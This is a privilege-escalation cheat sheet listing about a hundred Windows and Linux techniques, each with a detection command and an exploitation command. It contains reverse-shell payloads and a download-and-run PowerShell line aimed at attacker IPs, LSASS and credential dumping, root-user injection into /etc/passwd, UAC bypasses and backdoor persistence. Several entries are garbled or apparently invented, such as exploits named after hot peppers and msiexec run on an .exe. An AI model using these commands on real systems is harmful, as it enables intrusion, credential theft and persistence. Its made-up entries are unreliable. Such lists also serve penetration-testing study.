OWN PRIV - ESC METHODS..

Windows Privilege Escalation Methods - Batch 1

---

1. AlwaysInstallElevated

- **Tool**: `msfvenom`, `msiexec.exe`
- **Why?** Misconfiguration lets users run `.msi` files as SYSTEM.

🔍 Detection:

```
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

🚀 Exploitation:

```
msfvenom -p windows/exec CMD=cmd.exe -f msi -o exploit.msi
msiexec /quiet /qn /i exploit.msi
```

Options Explained:

- `-p windows/exec` : Run command on Windows.
- `CMD=cmd.exe` : Spawn shell.
- `-f msi` : Output format.
- `-o` : Output file.
- `/quiet /qn` : Silent install.
- `/i` : Install specified file.

---

2. Unquoted Service Path

- **Tool**: `sc.exe`, `accesschk.exe`
- **Why?** Windows may run unintended executables due to space in unquoted service paths.

🔍 Detection:

```
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |
findstr /i /v "C:\\Windows\\"
```

🚀 Exploitation:

```
copy payload.exe "C:\Program Files\MyService\Service.exe"
net start MyService
```

Explanation: Unquoted paths like `C:\Program Files\My App\bin.exe` may run `C:\Program.exe` if present.

---

3. SeBackupPrivilege Abuse

- **Tool**: `RawCopy.exe`, `secretsdump.py`
- **Why?** Allows reading protected files like `ntds.dit`.

🔍 Detection:

```
whoami /priv | findstr SeBackupPrivilege
```

🚀 Exploitation:

```
RawCopy.exe \\.\C: \$Recycle.Bin\ntds.dit C:\Temp\ntds.dit
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
```

Options Explained:

- `\\.\C:` : C drive.
- `RawCopy.exe` : Copies locked files.
- `secretsdump.py` : Extracts hashes.

---

4. SeImpersonatePrivilege — JuicyPotato

- **Tool**: `JuicyPotato.exe`
- **Why?** Impersonate SYSTEM tokens.

🔍 Detection:

```
whoami /priv | findstr SeImpersonatePrivilege
```

🚀 Exploitation:

```
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {F2E606CA-2631-11D1-89F1-00C04FB984F9}
```

Options Explained:

- `-l` : COM port to listen.
- `-p` : Program to run.
- `-t` : Token type.
- `-c` : CLSID of COM service.

---

5. DLL Hijacking

- **Tool**: `procmon.exe`, `Process Hacker`
- **Why?** Missing DLLs load from user-writable directories.

🔍 Detection:

Use `procmon.exe`, filter:

- Operation: `CreateFile`
- Result: `NAME NOT FOUND`

🚀 Exploitation:

```
// Compile malicious DLL
cl /LD evil.c /Feevil.dll
copy evil.dll C:\Program Files\App\
```

Run vulnerable app:

```
C:\Program Files\App\App.exe
```

---

6. Scheduled Task Hijacking

- **Tool**: `schtasks.exe`

- **Why?** Overwrite existing tasks to run arbitrary code.

🔍 Detection:

```
schtasks /query /fo LIST /v
```

🚀 Exploitation:

```
schtasks /change /tn "MyTask" /tr "C:\Users\Public\rev.bat"
```

Options:

- `/tn` : Task name.
- `/tr` : Task run action.

---

7. PrintNightmare (CVE-2021-34527)

- **Tool**: `SharpPrintNightmare.exe`
- **Why?** Vulnerability in Print Spooler allows remote code execution as SYSTEM.

🔍 Detection:

```
Get-Service -Name Spooler
```

🚀 Exploitation:

```
SharpPrintNightmare.exe -dll payload.dll -target 192.168.1.10
```

Options:

- `-dll` : Malicious DLL.
- `-target` : Target host.

---

8. Autorun Registry Abuse

- **Tool**: `reg.exe`
- **Why?** Add payload to run at boot.

🔍 Detection:

```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
```

🚀 Exploitation:

```
reg add HKLM\...\Run /v Evil /t REG_SZ /d C:\evil.exe /f
```

Options:

- `/v` : Value name.
- `/t` : Type.
- `/d` : Path to payload.
- `/f` : Force.

---

9. DuplicateTokenEx via mimikatz

- **Tool**: `mimikatz`
- **Why?** Hijack existing tokens.

🔍 Detection:

```
privilege::debug
token::list
```

🚀 Exploitation:

```
token::elevate
```

---

10. Unattended Install Creds

- **Tool**: `findstr`
- **Why?** Harvest plaintext credentials.

🔍 Detection:

```
dir /s /b *unattend.xml
findstr /i password unattend.xml
```

🚀 Exploitation:

```
type unattend.xml
runas /user:admin cmd
```

Windows Privilege Escalation Methods - Batch 2

---

11. PrintSpoofer (SeImpersonatePrivilege)

- **Tool**: `PrintSpoofer.exe`
- **Why?** Gain SYSTEM via token impersonation.

🔍 Detection:

```
whoami /priv | findstr SeImpersonatePrivilege
```

🚀 Exploitation:

```
PrintSpoofer.exe -i -c cmd
```

Options:

- `-i` : Impersonate SYSTEM
- `-c` : Command to run

---

12. Registry Auto-Elevation + MSI Installer

- **Tool**: `reg.exe` , `msiexec`
- **Why?** Combine elevated install with registry manipulation.

🔍 Detection:

```
reg query HKCU\...AlwaysInstallElevated
reg query HKLM\...AlwaysInstallElevated
```

🚀 Exploitation:

```
reg import malicious.reg
msiexec /quiet /qn /i payload.msi
```

---

13. Service binPath Hijack

- **Tool**: `sc.exe`, `accesschk.exe`
- **Why?** Change binary path to malicious command.

🔍 Detection:

```
sc qc vulnsvc
```

🚀 Exploitation:

```
sc config vulnsvc binPath= "cmd.exe /c calc.exe"
net start vulnsvc
```

---

14. AlwaysInstallElevated + Local Admin Creation

- **Tool**: `msfvenom`, `msiexec`
- **Why?** Add user via SYSTEM MSI installer.

🚀 Exploitation:

```
msfvenom -p windows/adduser USER=newadmin PASS=P@ssw0rd -f msi > useradd.msi
msiexec /quiet /qn /i useradd.msi
```

---

15. RDCMan Saved Credentials

- **Tool**: `SharpDecryptPwd`
- **Why?** Recover saved RDP passwords.

🔍 Detection:

```
dir "%APPDATA%\Microsoft\Remote Desktop Connection Manager"
```

🚀 Exploitation:

```
SharpDecryptPwd.exe /file:"RDCMan.settings"
```

---

16. SeRestorePrivilege — Registry Restore

- **Tool**: `reg.exe`
- **Why?** Restore malicious registry hive.

🔍 Detection:

```
whoami /priv | findstr SeRestorePrivilege
```

🚀 Exploitation:

```
reg restore HKLM\Software malicious_hive.bak
```

---

17. SeTakeOwnershipPrivilege

- **Tool**: `takeown` , `icacls`
- **Why?** Replace protected binaries.

🔍 Detection:

```
whoami /priv | findstr SeTakeOwnershipPrivilege
```

🚀 Exploitation:

```
takeown /f "svc.exe"
icacls "svc.exe" /grant Everyone:F
del svc.exe
copy payload.exe svc.exe
net start VulnSvc
```

---

18. DLL Search Order Hijacking

- **Tool**: `procmon.exe`, `custom.dll`
- **Why?** Force app to load malicious DLL.

🚀 Exploitation:

```
cl /LD exploit.c /Fefile.dll
copy file.dll C:\target\path\
```

---

19. Insecure Service Binary Permissions

- **Tool**: `icacls`, `accesschk.exe`
- **Why?** Writable binary = replaceable.

🔍 Detection:

```
icacls "C:\Program Files\Service\service.exe"
```

🚀 Exploitation:

```
del service.exe
copy payload.exe service.exe
net start servicename
```

---

20. Startup Folder Execution

- **Tool**: `powershell`
- **Why?** Payload runs at next login.

🚀 Exploitation:

```
copy revshell.bat "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup\"
```

Windows Privilege Escalation Methods - Batch 3

---

21. SeDebugPrivilege Abuse

- **Tool**: `mimikatz`, `Process Hacker`
- **Why?** Allows attaching to SYSTEM processes and dumping credentials.

🔍 Detection:

```
whoami /priv | findstr SeDebugPrivilege
```

🚀 Exploitation:

```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
```

---

22. SeLoadDriverPrivilege — Malicious Driver

- **Tool**: `DrvLoader.exe`
- **Why?** Load custom drivers to escalate.

🔍 Detection:

```
whoami /priv | findstr SeLoadDriverPrivilege
```

🚀 Exploitation:

```
sc create MalDrv type= kernel binPath= C:\MaliciousDriver.sys
sc start MalDrv
```

---

23. SeAssignPrimaryTokenPrivilege — Token Hijack

- **Tool**: `RoguePotato`
- **Why?** Assigns SYSTEM tokens to attacker processes.

🔍 Detection:

```
whoami /priv | findstr SeAssignPrimaryTokenPrivilege
```

🚀 Exploitation:

```
RoguePotato.exe -r 10.0.0.5 -e "C:\Windows\System32\cmd.exe" -l 9999
```

---

24. SeTcbPrivilege — Trusted Computing Abuse

- **Tool**: `PrivFu`, `psexec`
- **Why?** Acts as OS, allows SYSTEM execution.

🔍 Detection:

```
whoami /priv | findstr SeTcbPrivilege
```

🚀 Exploitation:

```
psexec.exe -i -s cmd.exe
```

---

25. HiveNightmare (CVE-2021-36934)

- **Tool**: `HiveNightmare.exe`
- **Why?** Dumps SAM registry hives.

🔍 Detection:

```
icacls C:\Windows\System32\config\SAM
```

🚀 Exploitation:

```
HiveNightmare.exe 200
```

---

26. Slui File Handler Hijack

- **Tool**: `slui.exe`
- **Why?** Hijack activation handler to run payload.

🚀 Exploitation:

```
copy payload.exe C:\Windows\System32\slui.exe
slui.exe
```

---

27. CDPSvc DLL Hijacking

- **Tool**: `cdpsgshims.dll`
- **Why?** Writable DLL path allows privilege escalation.

🔍 Detection:

```
powershell -ep bypass ". .\acltest.ps1"
```

🚀 Exploitation:

```
copy cdpsgshims.dll C:\python27\
restart-service CDPSvc
```

---

28. Magnify.exe DLL Hijack

- **Tool**: `igdgmm64.dll`
- **Why?** Accessibility tool loads attacker DLL.

🚀 Exploitation:

```
copy igdgmm64.dll C:\python27\
rundll32.exe magnify.dll,run
```

---

29. Dynamic Phishing with rootOS

- **Tool**: `rootOS.py`
- **Why?** Fake login UI steals creds.

🚀 Exploitation:

```
python rootOS.py
```

30. Race Condition via tempracer

- **Tool**: `tempracer.exe`
- **Why?** Exploit timing in file execution.

🚀 Exploitation:

```
echo "net localgroup administrators attacker /add" > C:\temp\not-evil.bat
tempracer.exe C:\temp\*.bat
```

Windows Privilege Escalation Methods - Batch 4

---

31. AlwaysInstallElevated with PowerShell Payload

- **Tool**: `msfvenom`, `msiexec.exe`
- **Why?** Run PowerShell payload as SYSTEM.

🔍 Detection:

```
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

🚀 Exploitation:

```
msfvenom -p windows/powershell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f
msi > shell.msi
msiexec /quiet /qn /i shell.msi
```

---

32. Insecure Service Registry Permissions

- **Tool**: `reg.exe`, `accesschk.exe`
- **Why?** Writable service keys allow path hijack.

🔍 Detection:

```
accesschk.exe -kvu "HKLM\SYSTEM\CurrentControlSet\Services\VulnSvc"
```

🚀 Exploitation:

```
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnSvc /v ImagePath /t
REG_EXPAND_SZ /d "C:\evil.exe" /f
net start VulnSvc
```

---

33. AppInit_DLLs Hijacking

- **Tool**: `reg.exe`
- **Why?** Load attacker DLL via AppInit.

🔍 Detection:

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v
AppInit_DLLs
```

🚀 Exploitation:

```
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v
AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f
```

---

34. McAfee Sitelist Decryption

- **Tool**: `SharpUp.exe`
- **Why?** Decrypt stored McAfee creds.

🔍 Detection:

```
SharpUp.exe McAfeeSitelistFiles
```

🚀 Exploitation:

Use extracted creds to pivot or escalate.

---

35. GPP Password Retrieval

- **Tool**: `gpp-decrypt`
- **Why?** Decrypt cpassword from Group Policy.

🔍 Detection:

```
findstr /S cpassword C:\Users\*\AppData\Roaming\Microsoft\GroupPolicy\*
```

🚀 Exploitation:

```
gpp-decrypt <cpassword>
```

---

36. KeePass Master Key Dump

- **Tool**: `KeeTheft.exe`, `Seatbelt.exe`
- **Why?** Extract KeePass keys from memory.

🔍 Detection:

```
Seatbelt.exe keepass
```

🚀 Exploitation:

```
KeeTheft.exe
```

---

37. SeManageVolumePrivilege

- **Tool**: `SeManageVolumeAbuse.exe`
- **Why?** Abuse volume operations for privilege escalation.

🔍 Detection:

```
whoami /priv | findstr SeManageVolume
```

🚀 Exploitation:

```
SeManageVolumeAbuse.exe
```

---

38. SeRelabelPrivilege

- **Tool**: Custom scripts
- **Why?** Modify object security labels.

🔍 Detection:

```
whoami /priv | findstr SeRelabelPrivilege
```

🚀 Exploitation:

```
PowerShell -Command "Set-ItemProperty -Path C:\Windows\System32\config\SAM -Name Security -Value 1"
```

---

39. SeSystemEnvironmentPrivilege

- **Tool**: `TrustExec.exe`
- **Why?** Modify firmware variables for persistence.

🔍 Detection:

```
whoami /priv | findstr SeSystemEnvironmentPrivilege
```

🚀 Exploitation:

```
TrustExec.exe -m exec -c "whoami /priv"
```

---

40. SeCreateTokenPrivilege

- **Tool**: `PrivEditor.dll`
- **Why?** Create new SYSTEM tokens.

🔍 Detection:

```
whoami /priv | findstr SeCreateTokenPrivilege
```

🚀 Exploitation:

```
.load C:\PrivEditor.dll
!rmpriv
```

Windows Privilege Escalation Methods - Batch 5

---

41. SeShutdownPrivilege — Boot-Time Persistence

- **Tool**: `schtasks.exe`, `shutdown.exe`
- **Why?** Execute scripts at startup with SYSTEM rights.

🔍 Detection:

```
whoami /priv | findstr SeShutdownPrivilege
```

🚀 Exploitation:

```
schtasks /create /tn "ShutdownBackdoor" /tr "C:\evil.exe" /sc onstart /ru
SYSTEM
shutdown /r /t 0
```

---

42. SeRemoteShutdownPrivilege

- **Tool**: `shutdown.exe`, `psexec`
- **Why?** Remote shutdown and trigger backdoors.

🔍 Detection:

```
whoami /priv | findstr SeRemoteShutdownPrivilege
```

🚀 Exploitation:

```
shutdown /m \\target /r /t 0
```

---

43. Trusted Path DLL Injection

- **Tool**: `procmon.exe`, custom DLL
- **Why?** Hijack DLL loading from trusted paths.

🚀 Exploitation:

```
cl /LD evil.c /Feevil.dll
copy evil.dll "C:\TrustedApp\"
```

---

44. Windows Installer Service Abuse

- **Tool**: `msiexec.exe`, `msfvenom`
- **Why?** Installer service may execute MSI with SYSTEM.

🔍 Detection:

```
sc qc msiserver
```

🚀 Exploitation:

```
msiexec /i evil.msi /quiet /qn
```

---

45. SeIncreaseQuotaPrivilege

- **Tool**: `CreateProcAsUser.exe`
- **Why?** Create new SYSTEM processes.

🔍 Detection:

```
whoami /priv | findstr SeIncreaseQuotaPrivilege
```

🚀 Exploitation:

```
CreateProcAsUser.exe "cmd.exe"
```

---

46. AlwaysInstallElevated Reverse Shell

- **Tool**: `msfvenom`, `msiexec`
- **Why?** MSI runs reverse shell binary as SYSTEM.

🚀 Exploitation:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > rev.exe
msiexec /quiet /qn /i rev.exe
```

---

47. HKCU Classes Hijack

- **Tool**: `reg.exe`
- **Why?** Modify registry handlers to execute payload.

🔍 Detection:

```
reg query HKCU\Software\Classes
```

🚀 Exploitation:

```
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\evil.exe" /f
eventvwr.msc
```

---

48. Shell Folder Path Hijack

- **Tool**: `reg.exe`
- **Why?** Redirect shell folders to payload.

🔍 Detection:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
```

```
Folders
```

🚀 Exploitation:

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders /v Startup /t REG_SZ /d "C:\evil.exe" /f
```

---

49. Debugger Key Hijack

- **Tool**: `reg.exe`
- **Why?** Execute payload by replacing debugger.

🔍 Detection:

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
```

🚀 Exploitation:

```
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\evil.exe" /f
```

---

50. SeTrustedCredManAccessPrivilege

- **Tool**: `mimikatz`
- **Why?** Dump credentials from Credential Manager.

🔍 Detection:

```
whoami /priv | findstr SeTrustedCredManAccessPrivilege
```

🚀 Exploitation:

```
mimikatz.exe "privilege::debug" "token::elevate" "vault::cred"
```

Windows Privilege Escalation Methods - Batch 6

---

51. SeIncreaseBasePriorityPrivilege

- **Tool**: Custom script
- **Why?** Increase process priority for injected payloads.

🔍 Detection:

```
whoami /priv | findstr SeIncreaseBasePriorityPrivilege
```

🚀 Exploitation:

```
PowerShell -Command "Start-Process cmd.exe -Priority High"
```

---

52. SeLockMemoryPrivilege

- **Tool**: `mimikatz`
- **Why?** Lock memory to hide payloads or maintain persistence.

🔍 Detection:

```
whoami /priv | findstr SeLockMemoryPrivilege
```

🚀 Exploitation:

```
mimikatz.exe "privilege::debug" "token::elevate" "misc::memssp"
```

---

53. Pasilla Hot Pepper

- **Tool**: `pasilla.exe`
- **Why?** Kernel exploit on older Windows.

🔍 Detection:

```
systeminfo | findstr /B /C:"OS Version"
```

🚀 Exploitation:

```
pasilla.exe exploit
```

---

54. Scotch Bonnet

- **Tool**: `scotch.exe`
- **Why?** Uses Win32k exploit for SYSTEM shell.

🚀 Exploitation:

```
scotch.exe -mode exploit -payload cmd.exe
```

---

55. Ghost Pepper

- **Tool**: `ghostpepper.exe`
- **Why?** Memory corruption in driver escalates privileges.

🔍 Detection:

```
driverquery
```

🚀 Exploitation:

```
ghostpepper.exe -e cmd.exe
```

---

56. Carolina Reaper

- **Tool**: `carolinareaper.exe`
- **Why?** Kernel vulnerability exploit.

🚀 Exploitation:

```
carolinareaper.exe --exploit --spawn "cmd.exe"
```

---

57. Follina (CVE-2022-30190)

- **Tool**: Malicious Word doc, MSDT
- **Why?** Execute PowerShell via ms-msdt.

🔍 Detection:

```
reg query HKEY_CLASSES_ROOT\ms-msdt
```

🚀 Exploitation:

```
"ms-msdt:/id PCWDiagnostic /skip force /param
IT_BrowseForFile=c:\windows\system32\cmd.exe"
```

---

58. RemotePotato0

- **Tool**: `RemotePotato0.exe`
- **Why?** NTLM relay + SYSTEM token impersonation.

🔍 Detection:

```
whoami /priv | findstr SeImpersonatePrivilege
```

🚀 Exploitation:

```
RemotePotato0.exe -rpc -c "cmd.exe" -p 9999
```

---

59. WinRM Token Delegation

- **Tool**: `evil-winrm`, `Rubeus`
- **Why?** Kerberos delegation abuse for escalation.

🔍 Detection:

```
Rubeus.exe tgtdeleg
```

🚀 Exploitation:

```
evil-winrm -i 10.10.10.5 -u admin -H <hash>
```

---

60. UAC Bypass using fodhelper.exe

- **Tool**: `fodhelper.exe`, `reg.exe`
- **Why?** Auto-elevating binary bypasses UAC.

🔍 Detection:

```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
EnableLUA
```

🚀 Exploitation:

```
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d
"C:\evil.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v
DelegateExecute /f
fodhelper.exe
```

Windows Privilege Escalation Methods - Batch 7

---

61. LSASS Credential Dumping (SeDebugPrivilege)

- **Tool**: `procdump.exe`, `mimikatz`
- **Why?** Dump LSASS memory for credentials.

🔍 Detection:

```
tasklist /FI "IMAGENAME eq lsass.exe"
```

🚀 Exploitation:

```
procdump.exe -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
```

---

62. Token Impersonation with Meterpreter

- **Tool**: `meterpreter`
- **Why?** Impersonate SYSTEM tokens.

🚀 Exploitation:

```
meterpreter > getsystem
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
```

---

63. WMI Event Subscription Backdoor

- **Tool**: `PowerShell`
- **Why?** Run payload via WMI event trigger.

🔍 Detection:

```
Get-WmiObject -Namespace root\subscription -Class __EventFilter
```

🚀 Exploitation:

```
powershell -ep bypass "Register-WmiEvent -Query 'SELECT * FROM
__InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA \"Win32_Process\"'
-Action {Start-Process C:\evil.exe}"
```

---

64. Exploiting Insecure COM Objects

- **Tool**: `godpotato.exe`
- **Why?** Leverage vulnerable COM object.

🚀 Exploitation:

```
godpotato.exe -cmd "cmd.exe"
```

---

65. SeAuditPrivilege

- **Tool**: `audit_control.exe`
- **Why?** Modify audit policies.

🚀 Exploitation:

```
audit_control.exe /disable
```

---

66. SeSyncAgentPrivilege

- **Tool**: Custom AD sync exploit
- **Why?** Inject credentials via AD Sync agent.

🚀 Exploitation:

```
PowerShell -Command "Invoke-ADSyncExploit"
```

---

67. Service SID Abuse

- **Tool**: `sc.exe`
- **Why?** Misconfigured service SIDs allow privilege escalation.

🔍 Detection:

```
sc showsid VulnService
```

🚀 Exploitation:

```
sc config VulnService binPath= "C:\evil.exe"
net start VulnService
```

---

68. SeIncreaseWorkingSetPrivilege

- **Tool**: Custom loader
- **Why?** Increase memory and inject payload.

🚀 Exploitation:

```
CustomLoader.exe -expandmem -payload cmd.exe
```

---

69. DLL Hijacking in PATH

- **Tool**: `procmon.exe`, custom DLL
- **Why?** Drop DLL in PATH to hijack loading.

🔍 Detection:

```
echo %PATH%
```

🚀 Exploitation:

```
copy evil.dll C:\Users\Public\
victimApp.exe
```

---

70. At.exe Scheduled Task

- **Tool**: `at.exe`
- **Why?** Legacy scheduler runs jobs as SYSTEM.

🔍 Detection:

```
at
```

🚀 Exploitation:

```
at 15:35 cmd.exe /c C:\evil.exe
```

Windows Privilege Escalation Methods - Batch 8 (Duplicate Copy)

---

71. AppLocker Misconfigurations

- **Tool**: `PowerShell`, `msiexec`
- **Why?** Weak rules allow non-whitelisted binary execution.

🔍 Detection:

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

🚀 Exploitation:

```
msiexec /i C:\evil.msi /quiet /qn
```

---

72. SeProfileSingleProcessPrivilege

- **Tool**: `mimikatz`
- **Why?** Profile processes and extract secrets.

🔍 Detection:

```
whoami /priv | findstr SeProfileSingleProcessPrivilege
```

🚀 Exploitation:

```
mimikatz.exe "privilege::debug" "process::list"
```

---

73. Debugger Key for cmd.exe

- **Tool**: `reg.exe`
- **Why?** Hijack debugger to run payload.

🔍 Detection:

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options"
```

🚀 Exploitation:

```
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\evil.exe" /f
cmd.exe
```

---

74. WMI Permanent Event Consumers

- **Tool**: `PowerShell`, `wmic`
- **Why?** Use WMI event for persistence.

🔍 Detection:

```
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
```

🚀 Exploitation:

```
wmic /namespace:"\\root\subscription" PATH __EventConsumer CREATE
Name="Backdoor" CommandLineTemplate="C:\evil.exe"
```

---

75. Service Failure Command Abuse

- **Tool**: `sc.exe`
- **Why?** Run payload when service fails.

🔍 Detection:

```
sc qfailure VulnService
```

🚀 Exploitation:

```
sc failure VulnService command= "C:\evil.exe" actions= restart/5000
```

---

76. SeBackupPrivilege + Shadow Copy

- **Tool**: `vssadmin`, `RawCopy.exe`
- **Why?** Extract sensitive files via shadow copy.

🔍 Detection:

```
whoami /priv | findstr SeBackupPrivilege
```

🚀 Exploitation:

```
vssadmin create shadow /for=C:
RawCopy.exe \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit
C:\Temp\ntds.dit
```

---

77. Insecure Driver Services

- **Tool**: `exploit_driver.exe`
- **Why?** Abuse vulnerable IOCTLs for kernel escalation.

🔍 Detection:

```
driverquery /v
```

🚀 Exploitation:

```
exploit_driver.exe -target vulnerable.sys -shell cmd.exe
```

---

78. PsExec SYSTEM Shell

- **Tool**: `psexec.exe`
- **Why?** Spawn SYSTEM command shell.

🔍 Detection:

```
sc query psexesvc
```

🚀 Exploitation:

```
psexec.exe -i -s cmd.exe
```

---

79. Service Trigger Hijack

- **Tool**: `sc.exe`, `reg.exe`
- **Why?** Modify service trigger to run payload.

🔍 Detection:

```
sc qtriggerinfo VulnService
```

🚀 Exploitation:

```
sc triggerinfo VulnService start/networkon
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t
REG_EXPAND_SZ /d "C:\evil.exe" /f
```

---

80. AlwaysInstallElevated via JScript Payload

- **Tool**: `msiexec.exe`, `cscript.exe`
- **Why?** Execute JScript payload with SYSTEM.

🚀 Exploitation:

```
cscript payload.js
msiexec /quiet /qn /i payload.msi
```

Windows Privilege Escalation Methods - Batch 9

---

81. PowerShell CLM Bypass

- **Tool**: `PowerShell`

- **Why?** Bypass restricted language mode to execute arbitrary code.

🔍 Detection:

```
$ExecutionContext.SessionState.LanguageMode
```

🚀 Exploitation:

```
powershell -Version 2 -Command "IEX(New-Object
Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')"
```

---

82. SeAssignPrimaryTokenPrivilege + Task Scheduler

- **Tool**: `schtasks.exe`
- **Why?** Create SYSTEM tasks for privilege escalation.

🔍 Detection:

```
whoami /priv | findstr SeAssignPrimaryTokenPrivilege
```

🚀 Exploitation:

```
schtasks /create /tn "sysbackdoor" /tr "C:\evil.exe" /sc onstart /ru SYSTEM
schtasks /run /tn "sysbackdoor"
```

---

83. AppX Deployment Hijack

- **Tool**: `reg.exe`
- **Why?** Replace deployment handler to escalate.

🔍 Detection:

```
sc query AppXSVC
```

🚀 Exploitation:

```
reg add HKLM\SOFTWARE\Microsoft\Appx /v DeploymentServer /t REG_SZ /d
```

```
C:\evil.dll /f
```

---

84. WSUS MITM Exploit

- **Tool**: `wsuspect-proxy`
- **Why?** Push malicious updates via WSUS misconfig.

🔍 Detection:

```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
```

🚀 Exploitation:

```
wsuspect-proxy --serve malicious.cab
```

---

85. Windows Defender Exclusions Abuse

- **Tool**: `PowerShell`
- **Why?** Add AV exclusions to hide payloads.

🔍 Detection:

```
Get-MpPreference | select -ExpandProperty ExclusionPath
```

🚀 Exploitation:

```
powershell Set-MpPreference -ExclusionPath "C:\evil"
copy payload.exe C:\evil\
```

---

86. SeTimeZonePrivilege

- **Tool**: Custom script
- **Why?** Modify system time for policy bypass.

🔍 Detection:

```
whoami /priv | findstr SeTimeZonePrivilege
```

🚀 Exploitation:

```
tzutil /s "UTC"
```

---

87. WDigest Credential Caching

- **Tool**: `reg.exe`, `mimikatz`
- **Why?** Enable plaintext password caching for credential dumping.

🔍 Detection:

```
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential
```

🚀 Exploitation:

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
```

---

88. IE Elevation Policy Exploit

- **Tool**: `ieexploit.exe`
- **Why?** Misconfig allows elevation through IE.

🔍 Detection:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones
```

🚀 Exploitation:

```
ieexploit.exe -url http://10.10.10.5/payload.html
```

---

89. UAC Bypass using eventvwr.exe

- **Tool**: `reg.exe`
- **Why?** Hijack event viewer execution path.

🔍 Detection:

```
reg query HKCU\Software\Classes\mscfile\shell\open\command
```

🚀 Exploitation:

```
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\evil.exe" /f
eventvwr.exe
```

---

90. Scheduled Task .job Hijack

- **Tool**: `at.exe`, `schtasks.exe`
- **Why?** Replace .job files to run payload.

🔍 Detection:

```
dir C:\Windows\Tasks
```

🚀 Exploitation:

```
copy payload.job C:\Windows\Tasks\
at 16:00 /interactive cmd.exe
```

Linux Privilege Escalation Methods - Batch 1

---

1. Dirty COW (CVE-2016-5195)

- **Tool**: `dirtycow.c`
- **Why?** Exploit kernel race condition to gain root.

🔍 Detection:

```
uname -r
```

🚀 Exploitation:

```
gcc -pthread dirtycow.c -o dirtycow
./dirtycow
```

---

2. Dirty Pipe (CVE-2022-0847)

- **Tool**: `dirtypipe.c`
- **Why?** Overwrite read-only files without root.

🔍 Detection:

```
uname -r
```

🚀 Exploitation:

```
gcc exploit.c -o dirtypipe
./dirtypipe /etc/passwd "root::0:0:root:/root:/bin/bash"
```

---

3. Sudo Heap Overflow (CVE-2021-3156)

- **Tool**: `sudoedit` exploit
- **Why?** Heap overflow grants root.

🔍 Detection:

```
sudoedit -s /
```

🚀 Exploitation:

```
./sudoedit_exploit
```

---

4. SUID Binaries (GTFOBins)

- **Tool**: `find`, `nmap`
- **Why?** Spawn root shells from SUID programs.

🔍 Detection:

```
find / -perm -4000 -type f 2>/dev/null
```

🚀 Exploitation:

```
nmap --interactive
!sh
```

---

5. Cron Job Path Injection

- **Tool**: Shell script
- **Why?** Hijack cron jobs to escalate.

🔍 Detection:

```
cat /etc/crontab
```

🚀 Exploitation:

```
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /tmp/backup.sh
```

---

6. LD_PRELOAD Injection

- **Tool**: Custom `.so`
- **Why?** Inject malicious library to get root.

🔍 Detection:

```
strings /usr/bin/suidprog | grep getenv
```

🚀 Exploitation:

```
gcc -fPIC -shared -o evil.so evil.c -nostartfiles
sudo LD_PRELOAD=./evil.so su
```

---

7. Writable /etc/passwd

- **Tool**: `echo`
- **Why?** Directly add root user.

🔍 Detection:

```
ls -l /etc/passwd
```

🚀 Exploitation:

```
echo "attacker::0:0::/root:/bin/bash" >> /etc/passwd
su attacker
```

---

8. Wildcard Injection in tar

- **Tool**: `tar`
- **Why?** Execute code through wildcard abuse.

🔍 Detection:

```
grep -R "tar" /etc/cron*
```

🚀 Exploitation:

```
touch /tmp/--checkpoint=1
touch /tmp/--checkpoint-action=exec=sh shell.sh
```

---

9. Capabilities Abuse

- **Tool**: `getcap`
- **Why?** Misconfigured file capabilities escalate privileges.

🔍 Detection:

```
getcap -r / 2>/dev/null
```

🚀 Exploitation:

```
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

---

10. Docker Privileged Container Escape

- **Tool**: `docker`, `nsenter`
- **Why?** Escape to host and gain root.

